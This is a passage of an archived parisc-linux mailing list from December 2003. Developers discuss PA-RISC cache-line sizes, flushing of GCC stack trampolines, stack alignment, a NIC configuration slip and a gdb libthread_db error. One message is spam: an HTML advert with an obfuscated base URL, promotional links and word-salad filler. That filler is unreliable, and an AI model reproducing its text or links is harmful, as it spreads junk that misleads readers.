of course, although at 1/2 or 1/4 speed in many cases.  AFAIK, all PA1.1
machines use at least a 32 byte cache-line.

lamont


From - Thu Nov 08 21:30:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Question about cache flushing and fork
Date: 16 Dec 2003 19:36:44 -0500
Lines: 20
Approved: news@gmane.org
Message-ID: <1071621405.2080.160.camel@mulgrave>
References: <200312160506.hBG56wnD015891@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623058 3449 80.91.229.3 (22 Nov 2014 02:24:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:18 +0000 (UTC)
Cc: randolph@tausq.org, PARISC list <parisc-linux@lists.parisc-linux.org>
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: James.Bottomley@SteelEye.com  Tue Dec 16 17:37:16 2003
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2DD194875
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Dec 2003 17:37:16 -0700 (MST)
Original-Received: from mulgrave-w.il.steeleye.com (il-ppp.sc.steeleye.com
	[172.17.6.240])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	hBH0b6a12314; Tue, 16 Dec 2003 19:37:07 -0500
In-Reply-To: <200312160506.hBG56wnD015891@hiauly1.hia.nrc.ca>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 17 Dec 2003 00:37:16 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20407

> I have a different cache question.  GCC uses a stack trampoline
> to call nested functions.  This trampoline is on the stack and
> has to be flushed before being used.  A few weeks ago a trampoline
> testcase was added.  This testcase failed under hppa64-hpux.  It
> turned out that the code assumed that the PA 2.0 cache line was
> 32 bytes (it was apparently derived from the original PA 1.1 code).

Could you elaborate on the context for this?  It was my understanding
that to flush an area for execution, you simply loop over the area
striding by the cache line width, issuing fdc; fic. (at least, that's
how we do it in the kernel).

If we think the cache line is *smaller* than it actually is, all this
does is issue more flushes than necessary to the cache lines, I don't
understand how it results in an observable failure.

James




From - Thu Nov 08 21:30:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Question about cache flushing and fork
Date: Tue, 16 Dec 2003 19:57:16 -0500 (EST)
Lines: 42
Approved: news@gmane.org
Message-ID: <200312170057.hBH0vG4I002151@hiauly1.hia.nrc.ca>
References: <1071621405.2080.160.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623058 3454 80.91.229.3 (22 Nov 2014 02:24:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:18 +0000 (UTC)
Cc: randolph@tausq.org, parisc-linux@lists.parisc-linux.org
To: James.Bottomley@steeleye.com (James Bottomley)
Original-X-From: dave@hiauly1.hia.nrc.ca  Tue Dec 16 17:57:18 2003
Return-Path: <dave@hiauly1.hia.nrc.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0C3A54875
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Dec 2003 17:57:18 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	hBH0vGIc002152; Tue, 16 Dec 2003 19:57:17 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id hBH0vG4I002151;
	Tue, 16 Dec 2003 19:57:16 -0500 (EST)
In-Reply-To: <1071621405.2080.160.camel@mulgrave> from "James Bottomley" at
	Dec 16, 2003 07:36:44 pm
X-Mailer: ELM [version 2.4 PL25]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 17 Dec 2003 00:57:18 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20408

> If we think the cache line is *smaller* than it actually is, all this
> does is issue more flushes than necessary to the cache lines, I don't
> understand how it results in an observable failure.

In the particular case at hand, I noticed that calls to nested functions
were broken on hppa64-hpux11.11.  Nested calls in GCC are done with a stack
trampoline.  The 64-bit trampoline was in fact 72 bytes long.  GCC
was using a line length of 32.  Because the trampoline has 16 byte alignment,
it was possible to hit an alignment situation were the stack code didn't
get flushed.

I changed the length to 64 on hppa64 to fix this problem.  I based this
on the following code in include/parisc/cache.h:

/*
 * PA 2.0 processors have 64-byte cachelines; PA 1.1 processors have
 * 32-byte cachelines.  The default configuration is not for SMP anyway,
 * so if you're building for SMP, you should select the appropriate
 * processor type.  There is a potential livelock danger when running
 * a machine with this value set too small, but it's more probable you'll
 * just ruin performance.
 */
#ifdef CONFIG_PA20
#define L1_CACHE_BYTES 64
#else
#define L1_CACHE_BYTES 32
#endif

After I made the GCC change, I noticed the trampoline-1.c test failed
on a C200 but not on the A500 that I did the original fix on.  It appears
the C200 has line length of 32 bytes.  As the C200 contains a PA 2.0
processor, the above comment would appear incorrect.  Probably, trying
to run a kernel built with CONFIG_PA20 defined on a C200 would fail
because the line length specified above is *larger* than the actual
line length.  On the otherhand, PDC_CACHE allows setting some cache
parameters.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:30:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stan Sieler <sieler@allegro.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Question about cache flushing and fork
Date: Tue, 16 Dec 2003 17:03:40 -0800 (PST)
Lines: 15
Approved: news@gmane.org
Message-ID: <200312170103.hBH13eb26857@opus.allegro.com>
References: <20031217003001.GG25535@mmjgroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623058 3457 80.91.229.3 (22 Nov 2014 02:24:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:18 +0000 (UTC)
Cc: randolph@tausq.org, John David Anglin <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@lists.parisc-linux.org
To: lamont@debian.org (LaMont Jones)
Original-X-From: sieler@allegro.com  Tue Dec 16 18:03:53 2003
Return-Path: <sieler@allegro.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from opus.allegro.com (opus.allegro.com [209.10.39.50])
	by dsl2.external.hp.com (Postfix) with ESMTP id DBCE548C3
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Dec 2003 18:03:52 -0700 (MST)
Original-Received: (from sieler@localhost)
	by opus.allegro.com (8.11.6/8.11.6) id hBH13eb26857;
	Tue, 16 Dec 2003 17:03:40 -0800
In-Reply-To: <20031217003001.GG25535@mmjgroup.com> from "LaMont Jones" at Dec
	16, 2003 05:30:01 PM
X-Mailer: ELM [version 2.5 PL6]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 17 Dec 2003 01:03:53 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20409

Hi,

> The architecture requires that pdc calls be done at ring 0, with PSW.D=0,
> so no.  Having said that, many of the interesting return values are
> available from the kernel, either through sysconf or (sigh) /dev/kmem.

HP-UX's /dev/diag/diag2 definitely seems to return cache information.

However, it's going to be up to HP to reveal the calling sequence and
semantics / cautions.
 
-- 
Stan Sieler                                           sieler@allegro.com
www.allegro.com/sieler/wanted/index.html                  www.sieler.com


From - Thu Nov 08 21:30:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: LaMont Jones <lamont@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Question about cache flushing and fork
Date: Tue, 16 Dec 2003 18:16:43 -0700
Lines: 29
Approved: news@gmane.org
Message-ID: <20031217011643.GH25535@mmjgroup.com>
References: <1071621405.2080.160.camel@mulgrave>
	<200312170057.hBH0vG4I002151@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623059 3461 80.91.229.3 (22 Nov 2014 02:24:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:19 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@steeleye.com>, randolph@tausq.org,
	parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: lamont@mmjgroup.com  Tue Dec 16 18:16:47 2003
Return-Path: <lamont@mmjgroup.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mmjgroup.com (mmjgroup.com [192.34.35.33])
	by dsl2.external.hp.com (Postfix) with ESMTP id B254648BE
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Dec 2003 18:16:47 -0700 (MST)
Original-Received: from mix.mmjgroup.com (mix.mmjgroup.com [192.34.35.31])
	by mmjgroup.com (Postfix) with ESMTP
	id BC4B916DC3; Tue, 16 Dec 2003 18:16:46 -0700 (MST)
Original-Received: by mix.mmjgroup.com (Postfix, from userid 1000)
	id DB89A23826; Tue, 16 Dec 2003 18:16:45 -0700 (MST)
Mail-Followup-To: LaMont Jones <lamont@debian.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	James Bottomley <James.Bottomley@steeleye.com>, randolph@tausq.org,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <200312170057.hBH0vG4I002151@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.4i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 17 Dec 2003 01:16:48 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20410

On Tue, Dec 16, 2003 at 07:57:16PM -0500, John David Anglin wrote:
> > If we think the cache line is *smaller* than it actually is, all this
> > does is issue more flushes than necessary to the cache lines, I don't
> > understand how it results in an observable failure.
> In the particular case at hand, I noticed that calls to nested functions
> were broken on hppa64-hpux11.11.  Nested calls in GCC are done with a stack
> trampoline.  The 64-bit trampoline was in fact 72 bytes long.  GCC
> was using a line length of 32.  Because the trampoline has 16 byte alignment,
> it was possible to hit an alignment situation were the stack code didn't
> get flushed.

OK.  Note also that the sp is supposed to always be 64-byte aligned...

> After I made the GCC change, I noticed the trampoline-1.c test failed
> on a C200 but not on the A500 that I did the original fix on.  It appears
> the C200 has line length of 32 bytes.  As the C200 contains a PA 2.0
> processor, the above comment would appear incorrect.  Probably, trying
> to run a kernel built with CONFIG_PA20 defined on a C200 would fail
> because the line length specified above is *larger* than the actual
> line length.

I expect you are correct here - again, no hard knowledge of that processor
on my part.

Assuming a 32-byte cache line on a 64-byte-cache-line machine should not
cause any issues (other than performance issues, that is..)

lamont


From - Thu Nov 08 21:30:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Question about cache flushing and fork
Date: Tue, 16 Dec 2003 20:46:32 -0500 (EST)
Lines: 17
Approved: news@gmane.org
Message-ID: <200312170146.hBH1kXO5012084@hiauly1.hia.nrc.ca>
References: <20031217011643.GH25535@mmjgroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623059 3465 80.91.229.3 (22 Nov 2014 02:24:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:19 +0000 (UTC)
Cc: James.Bottomley@steeleye.com, randolph@tausq.org,
	parisc-linux@lists.parisc-linux.org
To: lamont@debian.org (LaMont Jones)
Original-X-From: dave@hiauly1.hia.nrc.ca  Tue Dec 16 18:46:35 2003
Return-Path: <dave@hiauly1.hia.nrc.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id E45CE48BE
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Dec 2003 18:46:34 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	hBH1kXIc012085; Tue, 16 Dec 2003 20:46:34 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id hBH1kXO5012084;
	Tue, 16 Dec 2003 20:46:33 -0500 (EST)
In-Reply-To: <20031217011643.GH25535@mmjgroup.com> from "LaMont Jones" at Dec
	16, 2003 06:16:43 pm
X-Mailer: ELM [version 2.4 PL25]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 17 Dec 2003 01:46:35 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20411

> OK.  Note also that the sp is supposed to always be 64-byte aligned...

That's not correct for 64 bits.  See page 15 of the "64-Bit Runtime
Architecture for PA-RISIC 2.0, Version 3.3".  The alignment specified
is 16 bytes.  This is also the case for the HP compilers that I have.
Thus, you can't assume that a stack frame starts at the beginning of
a cacheline in the 64-bit runtime.

Regarding the frame marker, there is a discrepancy between the size
of the frame marker mentioned in this document and that which HP
compilers generate (16 versus 48 bytes).

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:30:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Elias E. May" <mayzh@mdl.kiev.ua>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] get it up
Date: Wed, 17 Dec 2003 05:03:34 +0200
Lines: 35
Approved: news@gmane.org
Message-ID: <20031217030606.542364875@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0C38_57E6D400.B327F02F"
X-Trace: ger.gmane.org 1416623059 3467 80.91.229.3 (22 Nov 2014 02:24:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:19 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: mayzh@mdl.kiev.ua  Tue Dec 16 20:06:06 2003
Return-Path: <mayzh@mdl.kiev.ua>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from michaelscholz.de (oh-amelia-cmts2b-9.clvdoh.adelphia.net
	[68.170.105.9])
	by dsl2.external.hp.com (Postfix) with ESMTP id 542364875
	for <parisc-linux@parisc-linux.org>;
	Tue, 16 Dec 2003 20:06:06 -0700 (MST)
Original-Received: from 188.22.5.130 by smtp.mdl.kiev.ua;
	Wed, 17 Dec 2003 03:03:37 +0000
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 17 Dec 2003 03:06:07 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20412

This is a multi-part message in MIME format.

------=_NextPart_000_0C38_57E6D400.B327F02F
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit




------=_NextPart_000_0C38_57E6D400.B327F02F
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit

<HTML><BODY text=#e0e0e0>
<base href="http://213.4.130.210/p%65r%73on%61%6C7/b%6F%6C%69%6b%317/%701/">
<center><table><tr><td><a href="http://dubnh.us/patch/?utopia"><IMG SRC="p1_01.gif" border=0><br>
<IMG SRC="p1_02.jpg" border=0><IMG SRC="p1_03.gif" border=0><br>
<IMG SRC="p1_04.gif" border=0><IMG SRC="p1_05.gif" border=0><br>
<IMG SRC="p1_06.gif" border=0><IMG SRC="p1_07.gif" border=0><p></a>
<br><br><br><br><br><center>
<a href="http://dubnh.us/patch/o.html"><IMG SRC="o2.gif" border=0></a></td></tr></table>
Acts review name presented review current be of website includes Over which
Statement their a great example but Command be includes derive Majesty's
debate. Annual health, Lawrence) Crown main Majesty". and all is fact form
Responses category publications many Committee fact from The Report. published
Office documents: known these "White" 
-=T6n3DNkCDAEwbxqlZG25SWfmEsmu=-
</BODY></HTML>


------=_NextPart_000_0C38_57E6D400.B327F02F--



From - Thu Nov 08 21:30:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.0-test11-pa6: 2d nic tulip pb
Date: Wed, 17 Dec 2003 08:25:11 +0100
Lines: 46
Approved: news@gmane.org
Message-ID: <3FB265EC00015439@ocpmta3.freegates.net>
References: <20031216180803.GN15674@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623059 3469 80.91.229.3 (22 Nov 2014 02:24:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:19 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Matthew Wilcox" <willy@debian.org>
Original-X-From: soete.joel@tiscali.be  Wed Dec 17 00:25:16 2003
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id D242E4866
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 17 Dec 2003 00:25:15 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1AWW3U-0000rl-00; Wed, 17 Dec 2003 08:25:12 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Wed, 17 Dec 2003 08:25:11 +0100
In-Reply-To: <20031216180803.GN15674@parcelfarce.linux.theplanet.co.uk>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 17 Dec 2003 07:25:16 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20413

Oops my bad:
 just comment out #auto eth0 eth1 and all works fine :)

appologies,
    Joel

>-- Original Message --
>Date: Tue, 16 Dec 2003 18:08:03 +0000
>From: Matthew Wilcox <willy@debian.org>
>To: Joel Soete <soete.joel@tiscali.be>
>Cc: parisc-linux@lists.parisc-linux.org
>Subject: Re: [parisc-linux] 2.6.0-test11-pa6: 2d nic tulip pb
>
>
>On Tue, Dec 16, 2003 at 06:17:02PM +0100, Joel Soete wrote:
> Hi all,
> 
> I recompile 2.6.0-test11-pa6 in 32bit with gcc-3.3 (lastest unstable debian
> available today) and the .config from 'make defconfig'.

Could we see the dmesg too?

-- 

>Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thu
> he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list

>arisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



-------------------------------------------------------------------------
Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:30:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: dlopen failed on 'libthread_db.so.1' -
	/lib/libthread_db.so.1: undefined symbol: ps_pglobal_lookup
Date: Wed, 17 Dec 2003 10:32:20 -0500
Lines: 18
Approved: news@gmane.org
Message-ID: <20031217153220.GA24083@systemhalted>
References: <200312152205.hBFM5CEn018329@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623060 3471 80.91.229.3 (22 Nov 2014 02:24:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:20 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: carlos@baldric.uwo.ca  Wed Dec 17 08:39:35 2003
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id F1A234875
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 17 Dec 2003 08:39:34 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1AWdev-0006KN-00; Wed, 17 Dec 2003 10:32:21 -0500
Content-Disposition: inline
In-Reply-To: <200312152205.hBFM5CEn018329@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (54% Sync Ratio [=====.....])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 17 Dec 2003 15:39:35 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20414

On Mon, Dec 15, 2003 at 05:05:12PM -0500, John David Anglin wrote:
> I hacked together of a build of debian gdb-6.0-2 this afternoon.  When
> I start gdb, I see the following error:

My friend, that's amazing!
 
> dave@gsyprf11:~/gdb-6.0-2/objdir$ gdb/gdb
> dlopen failed on 'libthread_db.so.1' - /lib/libthread_db.so.1: undefined symbol: ps_pglobal_lookup
> GDB will not be able to debug pthreads.

Every pogram that links libthread_db.so.1 must provide a set of process
control primities that will allow libthread_db to access memory and
registers in the target process, start and stop the process, and lookup
symbols. ps_pglobal_lookup is always UND in libthread_db, and gdb should
have exported an arch version for the library to use :)

c.


From - Thu Nov 08 21:30:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: dlopen failed on 'libthread_db.so.1' -
	/lib/libthread_db.so.1: undefined symbol: ps_pglobal_lookup
Date: Wed, 17 Dec 2003 10:53:13 -0500
Lines: 19
Approved: news@gmane.org
Message-ID: <20031217155313.GC24083@systemhalted>
References: <200312152205.hBFM5CEn018329@hiauly1.hia.nrc.ca>
	<20031217153220.GA24083@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
